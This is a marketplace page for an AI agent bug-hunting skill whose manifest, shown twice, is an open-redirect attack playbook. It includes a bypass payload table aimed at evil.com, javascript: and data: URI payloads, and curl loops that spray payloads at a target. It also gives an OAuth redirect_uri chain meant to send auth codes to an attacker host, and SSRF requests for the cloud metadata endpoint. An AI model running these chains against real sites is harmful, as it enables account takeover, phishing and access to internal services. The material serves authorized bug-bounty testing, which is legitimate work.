hunt-open-redirect
Hunt Open Redirect — all types including low-impact, chained to OAuth token theft → ATO, phishing chains. URL parameter manipulation, JavaScript redirect, meta refresh, header injection. Use when hunting redirect bugs or building ATO chains.
Install
npx skills add https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-open-redirect
claude plugin marketplace add https://llmmart.ai/marketplace.json && claude plugin install elementalsouls-claude-bughunter@llmmart
git clone https://github.com/elementalsouls/Claude-BugHunter.git
The skills CLI installs just this skill, for any of its supported agents. Claude Code installs the whole elementalsouls/claude-bughunter collection as a plugin from our marketplace. Git is the plain clone.
Skill manifest
HUNT-OPEN-REDIRECT — Open Redirect
Crown Jewel Targets
Open redirect alone is Low. Chained to OAuth = Critical (ATO).
Highest-value chains:
- Open redirect → OAuth auth code theft — redirect_uri contains open redirect on trusted domain → auth code sent to attacker → ATO
- Open redirect → phishing — users trust the URL because it starts with target.com
- Open redirect → SSRF escalation — if redirect followed server-side → SSRF
- Open redirect → session fixation — force user to login endpoint with pre-set session
Attack Surface Signals
?redirect=
?next=
?url=
?return=
?returnTo=
?continue=
?dest=
?destination=
?go=
?forward=
?location=
?target=
?redir=
?redirect_uri=
?callback=
?checkout_url=
?success_url=
?cancel_url=
/logout?returnTo=
/login?next=
/sso?callback=
Bypass Table
| Technique | Payload |
|---|---|
| Basic | https://evil.com |
| Protocol relative | //evil.com |
| Backslash bypass | /\\evil.com |
| At-sign confusion | https://target.com@evil.com |
| Double slash | //evil.com/%2F.. |
| URL encoding | %2Fevil.com |
| Null byte | evil.com%00target.com |
| Whitespace | evil.com%09 or %20 |
| JavaScript URI | javascript:window.location='https://evil.com' |
| Data URI | data:text/html,<script>window.location='https://evil.com'</script> |
| Subdomain | https://target.com.evil.com |
| Fragment | https://evil.com#.target.com |
Step-by-Step Hunting Methodology
Phase 1 — Discover Redirect Parameters
# Extract all redirect candidates from crawl
cat recon/$TARGET/urls.txt | gf redirect > recon/$TARGET/redirect-candidates.txt
wc -l recon/$TARGET/redirect-candidates.txt
# Less common param names
grep -E "(\?|&)(return|next|dest|go|forward|location|to|jump|target|out|link|logout)" \
recon/$TARGET/urls.txt >> recon/$TARGET/redirect-candidates.txt
Phase 2 — Basic Test
COLLAB="https://evil.com"
cat recon/$TARGET/redirect-candidates.txt | qsreplace "$COLLAB" | while read url; do
LOC=$(curl -s -I --max-redirs 0 "$url" | grep -i "^location:")
STATUS=$(curl -s -o /dev/null -w "%{http_code}" --max-redirs 0 "$url")
[ -n "$LOC" ] && echo "$STATUS | $LOC | $url"
done
Phase 3 — Bypass Techniques
BASE_URL="https://$TARGET/redirect?url="
PAYLOADS=(
"https://evil.com"
"//evil.com"
"/\\evil.com"
"https://$TARGET@evil.com"
"https://evil.com%23.$TARGET"
"https://evil.com%09"
)
for P in "${PAYLOADS[@]}"; do
LOC=$(curl -s -I --max-redirs 0 "${BASE_URL}${P}" | grep -i "^location:")
echo "$P → $LOC"
done
Phase 3b — DOM-based open redirect (client-side sink)
Server-side Location: grepping misses redirects that happen purely in JS. Source (location.hash/location.search/document.referrer) assigned to a navigation sink.
grep -rEn "location *=|location\.(href|assign|replace)\(|window\.open\(" recon/$TARGET/ --include="*.js" \
| grep -iE "location\.(hash|search)|URLSearchParams|getParameter|referrer"
# Confirm in a browser (curl can't): open https://$TARGET/page#https://evil.com (or ?url=...)
# Common shape: var u=new URLSearchParams(location.search).get('url'); location=u;
(PortSwigger: DOM-based open redirection.)
Phase 4 — OAuth Chain Test
# If target has OAuth, check if redirect_uri accepts open redirect
grep -i "oauth\|authorize\|redirect_uri" recon/$TARGET/urls.txt | head -20
# Construct OAuth URL with open redirect as redirect_uri
# Normal: redirect_uri=https://target.com/callback
# Attack: redirect_uri=https://target.com/redirect?url=https://evil.com
OAUTH_URL="https://$TARGET/oauth/authorize"
curl -sv "$OAUTH_URL?response_type=code&client_id=CLIENT_ID&redirect_uri=https://$TARGET/redirect%3Furl%3Dhttps%3A%2F%2Fevil.com" 2>&1 | grep -i "location:"
Phase 5 — Server-Side Redirect (SSRF escalation)
# If the app fetches the redirect target server-side (302 fetch follow)
curl -s "https://$TARGET/proxy?url=https://evil.com/redirect-to-169.254.169.254/latest/meta-data/"
# Or: if app makes HTTP request to the redirect destination
curl -s "https://$TARGET/fetch?url=http://169.254.169.254/latest/meta-data/" \
-H "Cookie: $SESSION"
Automation
# openredirex
pip3 install openredirex
openredirex -l recon/$TARGET/redirect-candidates.txt -p evil.com
# nuclei
nuclei -u https://$TARGET -t redirect/ -severity medium,high
# gf + qsreplace
cat recon/$TARGET/urls.txt | gf redirect | qsreplace "https://evil.com" | \
xargs -I{} curl -s -o /dev/null -w "%{http_code} %{redirect_url}\n" --max-redirs 0 {}
Chain Table
| Open redirect finding | Chain to | Impact |
|---|---|---|
| Any open redirect | OAuth redirect_uri bypass | Auth code theft → ATO |
| Any open redirect | Phishing URL with target domain | Social engineering |
| Server-side redirect | SSRF via followed redirect | Internal service access |
| Logout redirect | Session fixation | Force login with known session |
Validation
✅ Location header in response points to evil.com (your controlled domain) ✅ Browser follows redirect to attacker-controlled page
Severity:
- Redirect alone: Low (most programs)
- Chains to OAuth code theft → ATO: High/Critical
- Chains to phishing with brand name: Low-Medium
- Server-side → SSRF: High
Files (claude-bughunter)
-
SKILL.md 5.6 KB
--- name: hunt-open-redirect description: Hunt Open Redirect — all types including low-impact, chained to OAuth token theft → ATO, phishing chains. URL parameter manipulation, JavaScript redirect, meta refresh, header injection. Use when hunting redirect bugs or building ATO chains. sources: hackerone_public report_count: 28 --- # HUNT-OPEN-REDIRECT — Open Redirect ## Crown Jewel Targets Open redirect alone is Low. Chained to OAuth = Critical (ATO). **Highest-value chains:** - **Open redirect → OAuth auth code theft** — redirect_uri contains open redirect on trusted domain → auth code sent to attacker → ATO - **Open redirect → phishing** — users trust the URL because it starts with target.com - **Open redirect → SSRF escalation** — if redirect followed server-side → SSRF - **Open redirect → session fixation** — force user to login endpoint with pre-set session --- ## Attack Surface Signals ``` ?redirect= ?next= ?url= ?return= ?returnTo= ?continue= ?dest= ?destination= ?go= ?forward= ?location= ?target= ?redir= ?redirect_uri= ?callback= ?checkout_url= ?success_url= ?cancel_url= /logout?returnTo= /login?next= /sso?callback= ``` --- ## Bypass Table | Technique | Payload | |-----------|---------| | Basic | `https://evil.com` | | Protocol relative | `//evil.com` | | Backslash bypass | `/\\evil.com` | | At-sign confusion | `https://target.com@evil.com` | | Double slash | `//evil.com/%2F..` | | URL encoding | `%2Fevil.com` | | Null byte | `evil.com%00target.com` | | Whitespace | `evil.com%09` or `%20` | | JavaScript URI | `javascript:window.location='https://evil.com'` | | Data URI | `data:text/html,<script>window.location='https://evil.com'</script>` | | Subdomain | `https://target.com.evil.com` | | Fragment | `https://evil.com#.target.com` | --- ## Step-by-Step Hunting Methodology ### Phase 1 — Discover Redirect Parameters ```bash # Extract all redirect candidates from crawl cat recon/$TARGET/urls.txt | gf redirect > recon/$TARGET/redirect-candidates.txt wc -l recon/$TARGET/redirect-candidates.txt # Less common param names grep -E "(\?|&)(return|next|dest|go|forward|location|to|jump|target|out|link|logout)" \ recon/$TARGET/urls.txt >> recon/$TARGET/redirect-candidates.txt ``` ### Phase 2 — Basic Test ```bash COLLAB="https://evil.com" cat recon/$TARGET/redirect-candidates.txt | qsreplace "$COLLAB" | while read url; do LOC=$(curl -s -I --max-redirs 0 "$url" | grep -i "^location:") STATUS=$(curl -s -o /dev/null -w "%{http_code}" --max-redirs 0 "$url") [ -n "$LOC" ] && echo "$STATUS | $LOC | $url" done ``` ### Phase 3 — Bypass Techniques ```bash BASE_URL="https://$TARGET/redirect?url=" PAYLOADS=( "https://evil.com" "//evil.com" "/\\evil.com" "https://$TARGET@evil.com" "https://evil.com%23.$TARGET" "https://evil.com%09" ) for P in "${PAYLOADS[@]}"; do LOC=$(curl -s -I --max-redirs 0 "${BASE_URL}${P}" | grep -i "^location:") echo "$P → $LOC" done ``` ### Phase 3b — DOM-based open redirect (client-side sink) Server-side `Location:` grepping misses redirects that happen purely in JS. Source (`location.hash`/`location.search`/`document.referrer`) assigned to a navigation sink. ```bash grep -rEn "location *=|location\.(href|assign|replace)\(|window\.open\(" recon/$TARGET/ --include="*.js" \ | grep -iE "location\.(hash|search)|URLSearchParams|getParameter|referrer" # Confirm in a browser (curl can't): open https://$TARGET/page#https://evil.com (or ?url=...) # Common shape: var u=new URLSearchParams(location.search).get('url'); location=u; ``` (PortSwigger: DOM-based open redirection.) ### Phase 4 — OAuth Chain Test ```bash # If target has OAuth, check if redirect_uri accepts open redirect grep -i "oauth\|authorize\|redirect_uri" recon/$TARGET/urls.txt | head -20 # Construct OAuth URL with open redirect as redirect_uri # Normal: redirect_uri=https://target.com/callback # Attack: redirect_uri=https://target.com/redirect?url=https://evil.com OAUTH_URL="https://$TARGET/oauth/authorize" curl -sv "$OAUTH_URL?response_type=code&client_id=CLIENT_ID&redirect_uri=https://$TARGET/redirect%3Furl%3Dhttps%3A%2F%2Fevil.com" 2>&1 | grep -i "location:" ``` ### Phase 5 — Server-Side Redirect (SSRF escalation) ```bash # If the app fetches the redirect target server-side (302 fetch follow) curl -s "https://$TARGET/proxy?url=https://evil.com/redirect-to-169.254.169.254/latest/meta-data/" # Or: if app makes HTTP request to the redirect destination curl -s "https://$TARGET/fetch?url=http://169.254.169.254/latest/meta-data/" \ -H "Cookie: $SESSION" ``` --- ## Automation ```bash # openredirex pip3 install openredirex openredirex -l recon/$TARGET/redirect-candidates.txt -p evil.com # nuclei nuclei -u https://$TARGET -t redirect/ -severity medium,high # gf + qsreplace cat recon/$TARGET/urls.txt | gf redirect | qsreplace "https://evil.com" | \ xargs -I{} curl -s -o /dev/null -w "%{http_code} %{redirect_url}\n" --max-redirs 0 {} ``` --- ## Chain Table | Open redirect finding | Chain to | Impact | |----------------------|----------|--------| | Any open redirect | OAuth redirect_uri bypass | Auth code theft → ATO | | Any open redirect | Phishing URL with target domain | Social engineering | | Server-side redirect | SSRF via followed redirect | Internal service access | | Logout redirect | Session fixation | Force login with known session | --- ## Validation ✅ Location header in response points to evil.com (your controlled domain) ✅ Browser follows redirect to attacker-controlled page **Severity:** - Redirect alone: Low (most programs) - Chains to OAuth code theft → ATO: High/Critical - Chains to phishing with brand name: Low-Medium - Server-side → SSRF: High
Comments (0)
Sign in to join the conversation.
Reviews (0)
No reviews yet.
No comments yet.